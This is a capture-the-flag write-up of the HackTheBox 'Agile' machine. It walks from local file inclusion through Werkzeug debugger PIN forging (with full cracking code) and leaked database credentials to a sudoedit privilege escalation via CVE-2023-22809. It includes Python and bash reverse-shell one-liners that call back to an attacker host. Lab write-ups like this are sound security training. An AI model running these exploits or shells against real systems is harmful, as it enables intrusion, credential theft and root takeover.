HackTheBox
Agile [ pts]
## Challenge Description
This is a HTB Medium machine. It was exciting since this is my first medium machine ever on HTB, and I learnt a lots from this machine. Let’s go!
## Solution
Port Scanning
First of all, nmap:

Here we have a SSH on port 22 and a http on port 80 redirecting to http://superpass.htb
After having added superpass.htb to my /etc/hosts file, I headed to the site.
Web Enumeration
This is the home page:

Let’s create an account and see what it does.

It seems like a application for password management to me. The export button will export our saved passwords as a csv file and allow us to download the file. This function can be a flaw in the system if implemented poorly. We can intercept the request to gain understanding of this function.

With the username abc, the file is generated under the form USERNAME_export_RANDOMSTRING. Let’s try to get the /etc/passwd file with LFI.

$cat superpass_export.csv
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:104::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:104:105:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
pollinate:x:105:1::/var/cache/pollinate:/bin/false
sshd:x:106:65534::/run/sshd:/usr/sbin/nologin
usbmux:x:107:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
corum:x:1000:1000:corum:/home/corum:/bin/bash
dnsmasq:x:108:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
mysql:x:109:112:MySQL Server,,,:/nonexistent:/bin/false
runner:x:1001:1001::/app/app-testing/:/bin/sh
edwards:x:1002:1002::/home/edwards:/bin/bash
dev_admin:x:1003:1003::/home/dev_admin:/bin/bash
_laurel:x:999:999::/var/log/laurel:/bin/false
We found the user corum, edwards and dev_admin. With LFI, we get access to any files we want on the system. Let’s find a way to open a shell.
Open a shell
A failed login results in this error. So this is an application written with Python Flask with SQL Alchemy. These two often comes with each others.

One thing interesting about Python Flask is that it allows developer to execute command remotely in debug mode to debug the application. This console is protected by a PIN, which can be replicated if we have enough information on the system.
We can try activate the console on clicking at the terminal symbol on the right end of the traceback bar.

This is a Werkzeug Debugger. Looking for Werkzeug Debugger vulnerabilities with Google, I found this amazing article explaining how the PIN is generated, and on combining with LFI, we can crack it as follows:
- Get username of the user who runs the app
- Get module name of the app
- Get the application name of the app
- Get the path to the app.py file
- Get the MAC address of network interface, in decimal form uuid.getnode()
- Get
/etc/machine-id - On newer systems, combine the ID from
/etc/machine-idwith the last part of the value from/proc/<pid>/cgroup, split on the/character. - Concatenate all of the above values into a single string.
- Take the MD5 hash or SHA1 hash of the concatenated string.
- Encode the resulting digest as a 9-digit decimal number, with hyphens inserted every 3 digits.
Variables needed to exploit the console PIN:
probably_public_bits = [
username,
modname,
getattr(app, '__name__', getattr(app.__class__, '__name__')),
getattr(mod, '__file__', None),
]
private_bits = [
str(uuid.getnode()),
get_machine_id(),
]
So let’s find one by one.
User who runs the app
I always find LFI with the /proc directory useful for case like this. We can get the environment of the process at /proc/self/environ, the self will lead us to the /proc dir of the current working process without knowing its PID.
Proc file system (procfs) is a virtual file system created on the fly when the system boots and is dissolved at the time of system shutdown. It contains useful information about the processes that are currently running, it is regarded as a control and information center for the kernel. The proc file system also provides a communication medium between kernel space and user space.
Or alternatively, we can use getattr(app, '__name__', getattr (app .__ class__, '__name__'))

The user is www-data.
Module name
We can download the app.py file and see that the module name is by default flask.app
Application name and path
Thanks to the debug information, we can also know that the application working dir is /app/venv/lib/python3.10/site-packages/flask/app.py and the application name is wsgi_app

Private_bits
MAC: /proc/net/arp to get the interface and then /sys/class/net/eth0/address to get the MAC 00:50:56:b9:da:2c

>>>print(0x005056b9da2c)
345052404268
Machine-id: /etc/machine-id we got ed5b159560f54721827644bc9b220d00
Cgroup value: /proc/self/cgroup and take the last part, split by / : superpass.service
So the first private_bits value is 345052404268 and the second is ed5b159560f54721827644bc9b220d00superpass.service
So we have all the ingredients to recreate the PIN. I use these code below from this article to recover it:
import hashlib
import itertools
from itertools import chain
def crack_md5(username, modname, appname, flaskapp_path, node_uuid, machine_id):
h = hashlib.md5()
crack(h, username, modname, appname, flaskapp_path, node_uuid, machine_id)
def crack_sha1(username, modname, appname, flaskapp_path, node_uuid, machine_id):
h = hashlib.sha1()
crack(h, username, modname, appname, flaskapp_path, node_uuid, machine_id)
def crack(hasher, username, modname, appname, flaskapp_path, node_uuid, machine_id):
probably_public_bits = [
username,
modname,
appname,
flaskapp_path ]
private_bits = [
node_uuid,
machine_id ]
h = hasher
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv =None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num
print(rv)
if __name__ == '__main__':
usernames = ['www-data']
modnames = ['flask.app']
appnames = ['wsgi_app']
flaskpaths = ['/app/venv/lib/python3.10/site-packages/flask/app.py']
nodeuuids = ['345052404268']
machineids = ['ed5b159560f54721827644bc9b220d00superpass.service']
# Generate all possible combinations of values
combinations = itertools.product(usernames, modnames, appnames, flaskpaths, nodeuuids, machineids)
# Iterate over the combinations and call the crack() function for each one
for combo in combinations:
username, modname, appname, flaskpath, nodeuuid, machineid = combo
print('==========================================================================')
crack_sha1(username, modname, appname, flaskpath, nodeuuid, machineid)
print(f'{combo}')
print('==========================================================================')
python3 ./pin_cracker.py
==========================================================================
116-841-486
('www-data', 'flask.app', 'wsgi_app', '/app/venv/lib/python3.10/site-packages/flask/app.py', '345052381550', 'ed5b159560f54721827644bc9b220d00superpass.service')
==========================================================================
And it worked!! The console is ready to go:

Now we can make a reverse shell to our machine.
#IF YOU WANT TO EXECUTE CMD
>>> __import__('os').popen('cmd').read();
#MAKE A SHELL, SINCE WE ARE ON A PYTHON CONSOLE ALREADY
import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",4242));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")
After having got a reverse shell, we can stablize it with
python -c 'import pty; pty.spawn("/bin/bash")', thenCtrl + Z,stty raw -echo; fg; resetthenexport TERM=xtermMore details here

We have access as user www-data.
User.txt
We have a mysql database on this machine, and the cred can be found here:
(venv) www-data@agile:/app$ cat /app/config_prod.json
{"SQL_URI": "mysql+pymysql://superpassuser:dSA6l7q*yIVs$39Ml6ywvgK@localhost/superpass"}
mysql> select * from passwords;
+----+---------------------+---------------------+----------------+----------+----------------------+---------+
| id | created_date | last_updated_data | url | username | password | user_id |
+----+---------------------+---------------------+----------------+----------+----------------------+---------+
| 3 | 2022-12-02 21:21:32 | 2022-12-02 21:21:32 | hackthebox.com | 0xdf | 762b430d32eea2f12970 | 1 |
| 4 | 2022-12-02 21:22:55 | 2022-12-02 21:22:55 | mgoblog.com | 0xdf | 5b133f7a6a1c180646cb | 1 |
| 6 | 2022-12-02 21:24:44 | 2022-12-02 21:24:44 | mgoblog | corum | 47ed1e73c955de230a1d | 2 |
| 7 | 2022-12-02 21:25:15 | 2022-12-02 21:25:15 | ticketmaster | corum | 9799588839ed0f98c211 | 2 |
| 8 | 2022-12-02 21:25:27 | 2022-12-02 21:25:27 | agile | corum | 5db7caa1d13cc37c9fc2 | 2 |
+----+---------------------+---------------------+----------------+----------+----------------------+---------+
5 rows in set (0.00 sec)
We found the password of user corum:5db7caa1d13cc37c9fc2 for the machine agile and read user.txt
root.txt
1. user edwards
After looking around a bit, I found a strange-looking port 41829:
corum@agile:~$ ss -tln
State Recv-Q Send-Q Local Address:Port Peer Address:PortProcess
LISTEN 0 5 127.0.0.1:43263 0.0.0.0:*
LISTEN 0 70 127.0.0.1:33060 0.0.0.0:*
LISTEN 0 10 127.0.0.1:41829 0.0.0.0:*
LISTEN 0 2048 127.0.0.1:5000 0.0.0.0:*
LISTEN 0 151 127.0.0.1:3306 0.0.0.0:*
LISTEN 0 511 0.0.0.0:80 0.0.0.0:*
LISTEN 0 2048 127.0.0.1:5555 0.0.0.0:*
LISTEN 0 4096 127.0.0.53%lo:53 0.0.0.0:*
LISTEN 0 128 0.0.0.0:22 0.0.0.0:*
LISTEN 0 5 [::1]:43263 [::]:*
LISTEN 0 128 [::]:22 [::]:*
With Linpeas, I knew it was a remote-debugging port of google chrome, and it can lead to a PE. It’s a local host so we need to tunnel it, I will use SSH this time since we have the credential of corum, alternatively we can use chisel.
ssh -L 8000:127.0.0.1:41829 corum@10.10.11.203
Now all traffic to port 8000 on my attacking machine will be forwarded to port 41829 of the Agile machine. We need chromium to continue.
At chrome://inspect/?search=discover#devices, add our port 8000 to the network targets


It was detected as SuperPassword application. Now we can inspect it and get the password of edwards

The user edwards can use sudo as dev_admin:
edwards@agile:~$ sudo -l
[sudo] password for edwards:
Matching Defaults entries for edwards on agile:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
use_pty
User edwards may run the following commands on agile:
(dev_admin : dev_admin) sudoedit /app/config_test.json
(dev_admin : dev_admin) sudoedit /app/app-testing/tests/functional/creds.txt
Checking the sudo version 1.9.9, we know that it is vulnerable to ` CVE-2023-22809`
export EDITOR="vim -p */any file/*"
sudoedit /app/config_test.json
With PsPy64 we can find an interesting process:
CMD: UID=0 PID=21811 | /bin/bash -c source /app/venv/bin/activate
edwards@agile://$ ls -lh /app/venv/bin/activate
-rw-rw-r-- 1 root dev_admin 2.0K Jun 19 04:00 /app/venv/bin/activate
So the group dev_admin can write the activate.
#exploit as edwards
export EDITOR="vim -p /app/venv/bin/activate"
sudo -u dev_admin sudoedit /app/config_test.json
######OR
export EDITOR="vi -- /app/venv/bin/activate"
sudo -u dev_admin sudoedit /app/config_test.json

And we got into the activate file. Now we can modify it to whatever we want. I just simply leak the content of root.txt and that’s it!
#!/bin/bash
cp /root/root.txt /tmp
chmod 666 /tmp/root.txt
Or, a root rev shell:
bash -i >& /dev/tcp/IP/4242 0>&1
And we got the flag root.txt.
edwards@agile://tmp$ cat /tmp/root.txt
f9eb242e98afa7c58ae6XXXXXXXXX